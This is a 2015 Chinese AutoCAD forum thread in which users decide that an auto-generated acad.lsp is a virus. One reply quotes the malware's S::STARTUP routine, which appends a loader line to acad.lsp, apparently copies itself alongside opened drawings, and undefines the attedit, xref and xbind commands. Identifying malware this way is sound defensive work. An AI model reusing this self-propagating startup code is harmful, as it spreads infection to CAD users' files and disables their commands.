F4164789 发表于 2015-9-11 13:27:21

CAD启动自动生成的acad.lsp

无意中发现，CAD启动自动生成的acad.lsp，怎么有181KB,好像是源码，让大家看下

spp_wall 发表于 2015-9-11 14:46:04

病毒？？？？

Andyhon 发表于 2015-9-11 17:41:37



附件下载时直接被挡驾了...

donghuidong2003 发表于 2015-9-11 18:06:15

这是中了CAD病毒的表现，杀下毒

xyp1964 发表于 2015-9-11 18:42:53

内容还挺丰富，虽有乱码，但没找到“毒码”。

vlisp2012 发表于 2015-9-11 19:44:28

小红伞直接报毒。

F4164789 发表于 2015-9-11 21:10:47

请问这帖子怎么删除,大家都不要再下载了，谢谢大家.

zzyong00 发表于 2015-9-11 22:55:00

(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad
                   newacad nowdwg lspbj        wjm wjm1 wjqm wjqm1 wz ns1 ns2
                   )
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq path (findfile "base.dcl"))
(setq path (substr path 1 (- (strlen path) 8)))
(setq mnlpath (getvar "menuname"))
(setq nowdwg (getvar "dwgname"))
(setq wjqm (findfile nowdwg))
(setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
(setq acadpath (findfile "acad.lsp"))
(setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
(setq        ns1 ""
        ns2 ""
        )
(setq lspbj 0)
(setq wjqm (strcat path "acad.lsp"))
(if (setq wjm (open wjqm "r"))
    (progn (while (setq wz (read-line wjm))
             (setq ns1 ns2)
             (setq ns2 wz)
             )
           (if (> (strlen ns1) 14)
             (if (= (substr ns1 8 7) "acadiso")
             (setq lspbj 1)
             )
             )
           (close wjm)
           )
    )
(if (and (= acadpath dwgpath) (/= acadpath path))
    (progn (setq oldacad (findfile "acad.lsp"))
           (setq newacad (strcat path "acadiso.lsp"))
           (if (= lspbj 0)
             (progn (setq wjqm (strcat path "acad.lsp"))
                  (setq wjm (open wjqm "a"))
                  (write-line
                      (strcat "(load" (chr 34) "acadiso" (chr 34) ")")
                      wjm
                      )
                  (write-line "(princ)" wjm)
                  (close wjm)
                  )
             )
           (writeapp)
           )
    (progn (if (/= nowdwg "Drawing.dwg")
             (progn (setq oldacad (findfile "acadiso.lsp"))
                  (setq newacad (strcat dwgpath "acad.lsp"))
                  (writeapp)
                  )
             )
           )
    )
(command "undefine" "attedit")
(command "undefine" "xref")
(command "undefine" "xbind")
(setvar "cmdecho" old_cmd)
(princ)
)

这一段，是典型的病毒

edata 发表于 2015-9-12 10:29:04

zzyong00 发表于 2015-9-11 22:55 static/image/common/back.gif
(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad
                   newacad nowdwg lspbj        wjm wjm ...

undefine .这几个命令貌似变成了insert

ucuc2003 发表于 2015-9-18 11:56:48

xyp1964 发表于 2015-9-11 18:42 static/image/common/back.gif
内容还挺丰富，虽有乱码，但没找到“毒码”。

院长请教下，啥样的码是毒码？
页: [1]
查看完整版本: CAD启动自动生成的acad.lsp